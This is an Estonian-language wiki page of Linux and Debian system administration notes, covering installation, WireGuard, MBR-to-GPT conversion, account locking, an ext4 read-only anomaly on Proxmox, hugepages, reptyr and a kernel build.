&lt;br /&gt;
===2019 - Debian v. 10 Buster paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Installeris menüüde läbimise näide&lt;br /&gt;
&lt;br /&gt;
* Installeri keel - &amp;quot;English&amp;quot;&lt;br /&gt;
* Select your location: Other &amp;gt; Europe &amp;gt; Estonia&lt;br /&gt;
* Configure locales - United States - en_US.UTF-8&lt;br /&gt;
* Keymap to use - Estonian&lt;br /&gt;
* Hostname - ühekohalinenimi (vist tulemus sõltub kas võrk eelnevalt just seadistati dhcp'ga, antud näites nii oli)&lt;br /&gt;
* Domain name - sise.moraal.ee&lt;br /&gt;
* Root password - parool&lt;br /&gt;
* User name - nimi&lt;br /&gt;
* User password - parool&lt;br /&gt;
* partitsioonimine (nt efi + lvm)&lt;br /&gt;
* Configure package manager - Estonia - ftp.ee.debian.org&lt;br /&gt;
* HTTP proxy - tühi&lt;br /&gt;
* Contest - no&lt;br /&gt;
* Software selection - OpenSSH server ja standard system utilities&lt;br /&gt;
* Reboot&lt;br /&gt;
&lt;br /&gt;
===linux-perf===&lt;br /&gt;
&lt;br /&gt;
====Paigldamine====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öeld&lt;br /&gt;
&lt;br /&gt;
 # apt-get install linux-perf&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
perf.data faili salvestamine käesolevasse kataloogi&lt;br /&gt;
&lt;br /&gt;
 # /usr/bin/perf record -e sched:sched_process_exec -a&lt;br /&gt;
&lt;br /&gt;
Salvestatud andmete loetaval kujul esitamine&lt;br /&gt;
&lt;br /&gt;
 # /usr/bin/perf script --header&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.brendangregg.com/perf.html&lt;br /&gt;
&lt;br /&gt;
===Wireguard===&lt;br /&gt;
&lt;br /&gt;
====Debian v. 10 Buster====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Lisada buster-backports repo&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Paigaldada buster-backports repost wireguard&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse wireguard-dkms wireguard-tools wireguard&lt;br /&gt;
* paigaldatakse hulka bui&lt;br /&gt;
&lt;br /&gt;
====Debian v. 11 Bullseye====&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wireguard&lt;br /&gt;
&lt;br /&gt;
====Debian v. 12 Bookworm====&lt;br /&gt;
&lt;br /&gt;
Töötamine paistab nö serveri poolel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian-vpn:~# systemctl status wg-quick@wg0&lt;br /&gt;
● wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0&lt;br /&gt;
     Loaded: loaded (/lib/systemd/system/wg-quick@.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (exited) since Tue 2025-04-01 16:46:09 EEST; 9 months 19 days ago&lt;br /&gt;
       Docs: man:wg-quick(8)&lt;br /&gt;
             man:wg(8)&lt;br /&gt;
             https://www.wireguard.com/&lt;br /&gt;
             https://www.wireguard.com/quickstart/&lt;br /&gt;
             https://git.zx2c4.com/wireguard-tools/about/src/man/wg-quick.8&lt;br /&gt;
             https://git.zx2c4.com/wireguard-tools/about/src/man/wg.8&lt;br /&gt;
   Main PID: 7536 (code=exited, status=0/SUCCESS)&lt;br /&gt;
        CPU: 30ms&lt;br /&gt;
&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip link set mtu 1420 up dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.68/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.170/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.15/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.14/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.13/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.12/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.11/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.10/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn systemd[1]: Finished wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/wireguard/wg0.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===MBR -&amp;gt; GPT partitsioonitabeli teisendamine===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
* MBR partitsioonitabel hõlvab tavalisel lihtsal juhul plokkseadme esimsesed 512 Baiti&lt;br /&gt;
* GPT partitsioonitabel hõlvab tavaliselt plokkseadme esimsed ja viimased 34 * 512 Baiti&lt;br /&gt;
* tundub, et seoses uuema ajal 1 MBait piirile asjade sättimisega algab nii MBR kui GPT puhul esimene partitsioon 2048'ndal sektoril; st plokkseadme alguses on rikkalikult vaba ruumi teisendatud gpt jaoks; probleemiks võib olla, plokkseadme lõpus pole piisavalt vaba ruumi backup gpt jaoks&lt;br /&gt;
* sektori suurus on 512 Baiti&lt;br /&gt;
* MBR partitsioonitabelis on ühte partitsiooni puudutava sissekande suurus 16 baiti, millest 4 baiti ehk 16 bitti on kasutusel partitsiooni moodustavate sektorite hulga tähistamiseks (# echo 2^32*512/1024^3 | bc -&amp;gt; 2048 Gigabyte)&lt;br /&gt;
* GPT partitsioonitabelis on ühte partitsiooni puudutava sissekande suurus 128 baiti, millest 8 baiti ehk 64 bitti on kasutusel partitsiooni moodustavate sektorite hulga tähistamiseks (# echo 2^64*512/1024^3 | bc -&amp;gt; väga palju)&lt;br /&gt;
* muudatuse käigus partitsioone moodustavaid plokke plokkseadmel ümber ei paigutata&lt;br /&gt;
* kui mbr partitsioonitabelis on kasutusel ainult primaarsed partitsioonid ning ilma nö aukudeta partitsioonide vahel, siis on tulemuseks samuti ilma aukudeta üksteisele järgnevad gpt partitsioonid&lt;br /&gt;
* antud tekst ei kästile seda, aga boot kood asub mbr puhul esimeses 446 baidis&lt;br /&gt;
* gpt puhul põhimõtteliselt boot koodi ei ole kasutusel uefi põhises süsteemis (kasutatakse efi partitsiooni)&lt;br /&gt;
&lt;br /&gt;
====Teisendamine====&lt;br /&gt;
&lt;br /&gt;
Olgu lähtepunktiks selline plokkseadme kasutus, mbr partitsioonitabel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdc -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/vdc: 16 GiB, 17179869184 bytes, 33554432 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disklabel type: dos&lt;br /&gt;
Disk identifier: 0xdaa60afa&lt;br /&gt;
&lt;br /&gt;
Device     Boot Start      End  Sectors  Size Id Type&lt;br /&gt;
/dev/vdc1        2048 33097727 33095680 15.8G 83 Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning partitsioonil üks ext4 failisüsteem, mis on monteeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -h -T /dev/vdc1&lt;br /&gt;
Filesystem     Type  Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/vdc1      ext4   16G  1.7G   13G  12% /mnt/vdc1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eesmärk on teisendada partitsioonitabel gpt kujule säilitades seejuures failisüsteemi sisu. Selleks sobib kasutada sellist protseduuri, esmalt monteerida failisüsteem lahti&lt;br /&gt;
&lt;br /&gt;
 # umount /dev/vdc1&lt;br /&gt;
&lt;br /&gt;
seejärel teha mbr partitsioonitabelist varukoopia&lt;br /&gt;
&lt;br /&gt;
 # dd if=/dev/vdc of=backup.mbr bs=512 count=1&lt;br /&gt;
&lt;br /&gt;
gdisk ehk 'gpt fdisk' programm sobib gpt partitsioonitabeli haldamiseks, sealhulgas vaikimisi ta püüab mbr partitsioonitabeli teisendada gpt kujule. See on tehniliselt tavaliselt võimalik kuna mbr asub plokkseadme alguses ja seal on nö kasutamata ruumi.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# gdisk /dev/vdc&lt;br /&gt;
GPT fdisk (gdisk) version 0.8.10&lt;br /&gt;
&lt;br /&gt;
Partition table scan:&lt;br /&gt;
  MBR: MBR only&lt;br /&gt;
  BSD: not present&lt;br /&gt;
  APM: not present&lt;br /&gt;
  GPT: not present&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
***************************************************************&lt;br /&gt;
Found invalid GPT and valid MBR; converting MBR to GPT format&lt;br /&gt;
in memory. THIS OPERATION IS POTENTIALLY DESTRUCTIVE! Exit by&lt;br /&gt;
typing 'q' if you don't want to convert your MBR partitions&lt;br /&gt;
to GPT format!&lt;br /&gt;
***************************************************************&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Command (? for help): w&lt;br /&gt;
&lt;br /&gt;
Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING&lt;br /&gt;
PARTITIONS!!&lt;br /&gt;
&lt;br /&gt;
Do you want to proceed? (Y/N): Y&lt;br /&gt;
OK; writing new GUID partition table (GPT) to /dev/vdc.&lt;br /&gt;
The operation has completed successfully.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* programm tuvastab esmalt, et plokkseadmel on kasutusel MBR partitsioonitabel&lt;br /&gt;
* w abil tehakse muudatus&lt;br /&gt;
* Y abil kirjutatakse muudatus üles&lt;br /&gt;
&lt;br /&gt;
Kuna Linux operatsioonisüsteemi puhul eristatakse plokkseadmel ja mälus olevat seisu plokkseadme kasutusest, siis tuleks täielikuks muudatuse kehtestamiseks teha lihtsalt reboot arvutile või öelda&lt;br /&gt;
&lt;br /&gt;
 # partprobe /dev/vdc&lt;br /&gt;
&lt;br /&gt;
Tulemusena kasutatakse plokkseadmel gpt partitsioonitabelit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdc -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/vdc: 16 GiB, 17179869184 bytes, 33554432 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disklabel type: gpt&lt;br /&gt;
Disk identifier: 469E6D74-0022-4200-B0FD-2C5FAED7DCAD&lt;br /&gt;
&lt;br /&gt;
Device     Start      End  Sectors  Size Type&lt;br /&gt;
/dev/vdc1   2048 33302527 33300480 15.9G Linux filesystem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatuse tagasivõtmine====&lt;br /&gt;
&lt;br /&gt;
Muudatuse tagasivõtmiseks sobib öelda (kuigi nii jääb alles plokkseadme lõppu gpt backup; teatud bios'ide puhul võib see tekitada probleeme, bios on agar ja taastab selle alusel primaarse gpt partitsioonitabeli)&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/vdc1&lt;br /&gt;
 # dd if=backup.mbr of=/dev/vdc bs=512 count=1&lt;br /&gt;
 # partprobe /dev/vdc&lt;br /&gt;
 # mount /dev/vdc1 /mnt/vdc1&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://easylinuxji.blogspot.com/2018/12/what-is-disk-partitioning-disk.html&lt;br /&gt;
* https://dannyda.com/2021/05/07/how-to-convert-ubuntu-20-04-1-lts-os-disk-from-mbr-to-gpt-gpt-to-mbr-without-losing-data/&lt;br /&gt;
* http://www.rodsbooks.com/gdisk/mbr2gpt.html&lt;br /&gt;
&lt;br /&gt;
===Kasutajakonto operatsioonid===&lt;br /&gt;
&lt;br /&gt;
Konto lukustamine kusjuures see takistab ainult parooliga autentimist, nt ssh võtmega saab sisse&lt;br /&gt;
&lt;br /&gt;
 # passwd -l kasutajanimi&lt;br /&gt;
 # passwd -u kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Konto expire, see takistab igasuguseid kanaleid (eeldab, et pam vms on seadistatud expirega tegelema)&lt;br /&gt;
&lt;br /&gt;
 # usermod --expiredate 1 kasutajanimi&lt;br /&gt;
&lt;br /&gt;
===grep kasutamine===&lt;br /&gt;
&lt;br /&gt;
Perl regulaaravalidsega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TODO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestikulised grep'id ei toimi vahel, aitab nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/pveproxy/access.log  | grep --line-buffered &amp;quot;PUT&amp;quot; | grep --line-buffered firewall | grep --line-buffered option&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Debian v. 12 ext4 failisüsteem read-only olekus===&lt;br /&gt;
&lt;br /&gt;
Tundub, et kõige tavalisem Debian v. 12 paigaldus, mis kasutab ext4 failisüsteemi (lvm kihi peal) käitub read-only olekus selliselt, et avatud failidesse mingil määral näiliselt kirjutamised jätkuvad. Seejuures kirjutajale jääb mulje, et kirjutamine õnnestus lõpetada edukalt. (Samal ajal uusi faile ei saa tekitada, olemasolevate failide muutmisi ei saa alustada.) Nähtuse jälgimiseks-taaskordamiseks-esilekutsumiseks sobib selline protseduur&lt;br /&gt;
&lt;br /&gt;
1. Proxmox PVE keskkonnas töötab lvm põhisel storage'l Debian v. 12 virtuaalne arvuti; arvutis on kasutusel lvm ja sellel ext4 failisüsteem (lvm ei ole oluline)&lt;br /&gt;
&lt;br /&gt;
2. Alustatakse eemalt pv abil piiratud kiirusega faili kopeerimist (etteruttavalt on siin toodud ära ka kopeeriv cat programmi edukas exit code; fail.img-4 on 36 MB suur)&lt;br /&gt;
&lt;br /&gt;
 $ cat fail.img-4 | ssh root@192.168.110.246 'pv -q -L3500K | cat &amp;gt; /root/tere4; echo $?' &lt;br /&gt;
 0&lt;br /&gt;
&lt;br /&gt;
3. umbes kolmveerandi kopeerimise pealt viiakse PVE host peal virtuaalsele arvutile vastav plokkseade read-only olekusse&lt;br /&gt;
&lt;br /&gt;
 # lvchange -pr vg_data/vm-615-disk-2&lt;br /&gt;
&lt;br /&gt;
4. ootus on, et virtuaalne arvuti reageerib sellele oma juurfailisüsteemi read-only olekusse lülitamisega&lt;br /&gt;
&lt;br /&gt;
5. ootus on, et kopeerimine lõpeb edukalt&lt;br /&gt;
&lt;br /&gt;
6. ootus on, et vaatamata read only olekule Debian operatsioonisüsteemi saab veel natuke kasutada, ja küsida (tulemus klapib orig fail.img-4 failiga)&lt;br /&gt;
&lt;br /&gt;
 # sha256sum /root/tere4&lt;br /&gt;
&lt;br /&gt;
7. virtuaalne arvuti stop'itakse PVE abil&lt;br /&gt;
&lt;br /&gt;
8. viiakse plokkseade tagasi rw režiimi&lt;br /&gt;
&lt;br /&gt;
 # lvchange -prw vg_data/vm-615-disk-2 &lt;br /&gt;
&lt;br /&gt;
9. käivitatakse virtuaalne arvuti&lt;br /&gt;
&lt;br /&gt;
10. kõnealune fail, mis näiliselt õnnestus edukalt kopeerida, on väiksema suurusega (või suurusega null)&lt;br /&gt;
&lt;br /&gt;
Märkused&lt;br /&gt;
&lt;br /&gt;
* analoogselt käitub Ubuntu v. 22.04&lt;br /&gt;
* Ubuntu v. 22.04 (ja tõenäoliselt Debian v. 12) + ext3 failisüsteem nö hoiavad kinni read-only lubadusest ja sellist nähtust ei toimu&lt;br /&gt;
* Vanemad Ubuntu ja Debian versioonid hoiavad kinni read-only lubadusest ja sellist nähtust ei toimu&lt;br /&gt;
* PVE host peal lvchange ütlemisele alternatiiviks on virtuaalse arvuti siseselt öelda&lt;br /&gt;
&lt;br /&gt;
 # echo u &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
&lt;br /&gt;
* lisaks PVE keskkonnale toimub analoogiline nähtus vmware virtuaalse arvutiga&lt;br /&gt;
&lt;br /&gt;
===machine-id reset===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# rm /etc/machine-id /var/lib/dbus/machine-id&lt;br /&gt;
# dbus-uuidgen | tee /etc/machine-id &amp;gt; /var/lib/dbus/machine-id&lt;br /&gt;
# chmod 0444 /etc/machine-id&lt;br /&gt;
# ls -ld /etc/machine-id /var/lib/dbus/machine-id&lt;br /&gt;
-r--r--r-- 1 root root 33 Apr  7 19:18 /etc/machine-id&lt;br /&gt;
-rw-r--r-- 1 root root 33 Apr  7 19:18 /var/lib/dbus/machine-id&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Hugepages===&lt;br /&gt;
&lt;br /&gt;
* TLB - Translation Lookaside Buffer&lt;br /&gt;
* THP - Transparent Huge Pages&lt;br /&gt;
&lt;br /&gt;
Nö tavalises proxmox pve arvutis on selline hugepagendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# df -a -t hugetlbfs&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
hugetlbfs              0     0         0    - /dev/hugepages&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tundub, et niipea kui käivitatakse virtuaalne arvuti, mis sisaldab parameetrit 'hugepages: ...' tekitatakse kaks juurde&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# df -a -t hugetlbfs&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
hugetlbfs              0     0         0    - /dev/hugepages&lt;br /&gt;
hugetlbfs              0     0         0    - /run/hugepages/kvm/2048kB&lt;br /&gt;
hugetlbfs              0     0         0    - /run/hugepages/kvm/1048576kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning seda tehakse läbi nö käigult konstrueeritud systemd mount unitite&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# systemctl | grep huge&lt;br /&gt;
  dev-hugepages.mount                                                                                           loaded active     mounted   Huge Pages File System&lt;br /&gt;
  run-hugepages-kvm-1048576kB.mount                                                                             loaded active     mounted   /run/hugepages/kvm/1048576kB&lt;br /&gt;
  run-hugepages-kvm-2048kB.mount                                                                                loaded active     mounted   /run/hugepages/kvm/2048kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Üks viis 1G hugepagendust lähtestada on kasutades sellist kernel-command-line'i&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# cat /proc/cmdline &lt;br /&gt;
initrd=\EFI\proxmox\6.8.8-2-pve\initrd.img-6.8.8-2-pve root=ZFS=rpool/ROOT/pve-1 boot=zfs default_hugepagesz=1G hugepagesz=1G hugepages=24&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# grep -i huge /proc/meminfo &lt;br /&gt;
AnonHugePages:         0 kB&lt;br /&gt;
ShmemHugePages:        0 kB&lt;br /&gt;
FileHugePages:         0 kB&lt;br /&gt;
HugePages_Total:      24&lt;br /&gt;
HugePages_Free:       24&lt;br /&gt;
HugePages_Rsvd:        0&lt;br /&gt;
HugePages_Surp:        0&lt;br /&gt;
Hugepagesize:    1048576 kB&lt;br /&gt;
Hugetlb:        25165824 kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# hugeadm --explain&lt;br /&gt;
Total System Memory: 192906 MB&lt;br /&gt;
&lt;br /&gt;
Mount Point                  Options&lt;br /&gt;
/dev/hugepages               rw,relatime,pagesize=1024M&lt;br /&gt;
/run/hugepages/kvm/2048kB    rw,relatime,pagesize=2M&lt;br /&gt;
/run/hugepages/kvm/1048576kB rw,relatime,pagesize=1024M&lt;br /&gt;
&lt;br /&gt;
Huge page pools:&lt;br /&gt;
      Size  Minimum  Current  Maximum  Default&lt;br /&gt;
   2097152        0        0        0         &lt;br /&gt;
1073741824       24       24       24        *&lt;br /&gt;
&lt;br /&gt;
Huge page sizes with configured pools:&lt;br /&gt;
1073741824&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.postgresql.org/images/7/7d/PostgreSQL_and_Huge_pages_-_PGConf.2019.pdf&lt;br /&gt;
* https://pganalyze.com/blog/5mins-postgres-tuning-huge-pages&lt;br /&gt;
&lt;br /&gt;
===reptyr===&lt;br /&gt;
&lt;br /&gt;
reptyr ehk reparenting-terminal võimaldab saada uuesti kontakti kaotatud kuid eksisteeriva terminaliga. Paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install reptyr&lt;br /&gt;
&lt;br /&gt;
Nt apt-get dist-upgrade programm käivitati, aga füüsiline konsool millelt seda tehti riknes. Mujalt arvutisse logides võib olla dist-upgrade tegevus peatunud nt sellises kohas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/apt/term.log&lt;br /&gt;
...&lt;br /&gt;
No DKMS packages installed: not changing Secure Boot validation state.&lt;br /&gt;
Setting up libmpc3:amd64 (1.3.1-1) ...&lt;br /&gt;
Setting up systemd-timesyncd (252.30-1~deb12u2) ...&lt;br /&gt;
&lt;br /&gt;
Configuration file '/etc/systemd/timesyncd.conf'&lt;br /&gt;
 ==&amp;gt; Modified (by you or by a script) since installation.&lt;br /&gt;
 ==&amp;gt; Package distributor has shipped an updated version.&lt;br /&gt;
   What would you like to do about it ?  Your options are:&lt;br /&gt;
    Y or I  : install the package maintainer's version&lt;br /&gt;
    N or O  : keep your currently-installed version&lt;br /&gt;
      D     : show the differences between the versions&lt;br /&gt;
      Z     : start a shell to examine the situation&lt;br /&gt;
 The default action is to keep your current version.&lt;br /&gt;
*** timesyncd.conf (Y/I/N/O/D/Z) [default=N] ? &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning terminali olukord&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tm-tartu-x470:~# ps auxf | less -N&lt;br /&gt;
..&lt;br /&gt;
    135 root        1097  0.0  1.8  74500 18448 ?        S    Oct13   0:05 apt-get dist-upgrade&lt;br /&gt;
    136 root       23408  0.0  0.6  11768  6388 pts/1    Ss+  Oct13   0:01  \_ /usr/bin/dpkg --status-fd 25 --configure --&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Osutub, et terminaliga saab taas kontakti öeldes, ja jätkates seejärel sisestusi peatunud kohast. NB! reptyr töötamine jätkub nö pimedast kohast, klaviatuurilt tuleb sisestada nii nagu asjakohane, nt antud juhul Enter sobib küsimusele 'timesyncd.conf (Y/I/N/O/D/Z) [default=N]' eitavalt vastamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@tm-tartu-x470:~# /home/imre/reptyr 23408&lt;br /&gt;
[-] Timed out waiting for child stop.&lt;br /&gt;
&lt;br /&gt;
Setting up libevent-core-2.1-7:amd64 (2.1.12-stable-8) ...&lt;br /&gt;
Setting up libatomic1:amd64 (12.2.0-14) ...&lt;br /&gt;
Setting up libvariable-magic-perl (0.63-1+b1) ...&lt;br /&gt;
Setting up udev (252.30-1~deb12u2) ...&lt;br /&gt;
Setting up libevent-2.1-7:amd64 (2.1.12-stable-8) ...&lt;br /&gt;
Setting up libio-html-perl (1.004-3) ...&lt;br /&gt;
Setting up libss2:amd64 (1.47.0-2) ...&lt;br /&gt;
Setting up libpod-parser-perl (1.65-1) ...&lt;br /&gt;
Setting up autopoint (0.21-12) ...&lt;br /&gt;
Setting up libb-hooks-op-check-perl:amd64 (0.22-2+b1) ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seejärel jätkub apt-get dist-upgrade osakonnaga suhtlemine tavalisel viisil.&lt;br /&gt;
&lt;br /&gt;
===pigz abil pakkimine===&lt;br /&gt;
&lt;br /&gt;
 # time tar -I pigz -cf ../20250507/rakendus-14-main_ee-20250507.tgz main_ee&lt;br /&gt;
&lt;br /&gt;
===Debian v. 13 Trixie kerneli kompileerimine===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* tegevused toimuvad pve v. 8.4 virtuaalses arvutis, uefi jne&lt;br /&gt;
* kompileerimiseks on vajalik ca 40 G ruumi failisüsteemis&lt;br /&gt;
* arvutil on 32 cpu ja 24g mälu&lt;br /&gt;
* kompileerimine võtab aega ca 10 minutit&lt;br /&gt;
&lt;br /&gt;
Nt eesmärgiga lisada süsteemi rtc_efi tuuma moodul ning käivitamisel lülitada välja rtc_cmos moodul, tavaliselt paistab rtc nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# dmesg | grep rtc&lt;br /&gt;
[    5.472677] rtc_cmos 00:01: RTC can wake from S4&lt;br /&gt;
[    5.477720] rtc_cmos 00:01: registered as rtc0&lt;br /&gt;
[    5.482245] rtc_cmos 00:01: setting system clock to 2025-07-05T17:49:27 UTC (1751737767)&lt;br /&gt;
[    5.490391] rtc_cmos 00:01: alarms up to one month, y3k, 114 bytes nvram&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompileerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install build-essential libncurses-dev&lt;br /&gt;
# apt-get build-dep linux&lt;br /&gt;
# linux-source-6.12&lt;br /&gt;
&lt;br /&gt;
# su - imre&lt;br /&gt;
$ mkdir 20251001&lt;br /&gt;
$ cd 20251001&lt;br /&gt;
$ tar xaf /usr/src/linux-source-6.12.tar.xz&lt;br /&gt;
$ cd linux-source-6.12&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kostümiseerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ cp /boot/config-6.12.48+deb13-amd64 .config&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make menuconfig&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ joe drivers/rtc/Kconfig&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ joe .config&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make menuconfig&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001-2/linux-source-6.12$ diff /boot/config-6.12.48+deb13-amd64 .config&lt;br /&gt;
5c5&lt;br /&gt;
&amp;lt; CONFIG_CC_VERSION_TEXT=&amp;quot;x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0&amp;quot;&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; CONFIG_CC_VERSION_TEXT=&amp;quot;gcc (Debian 14.2.0-19) 14.2.0&amp;quot;&lt;br /&gt;
36a37&lt;br /&gt;
&amp;gt; CONFIG_BUILD_SALT=&amp;quot;&amp;quot;&lt;br /&gt;
999a1001&lt;br /&gt;
&amp;gt; CONFIG_MODULE_SIG_ALL=y&lt;br /&gt;
8486c8488&lt;br /&gt;
&amp;lt; CONFIG_RTC_DRV_CMOS=y&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; CONFIG_RTC_DRV_CMOS=m&lt;br /&gt;
8492a8495&lt;br /&gt;
&amp;gt; CONFIG_RTC_DRV_EFI=m&lt;br /&gt;
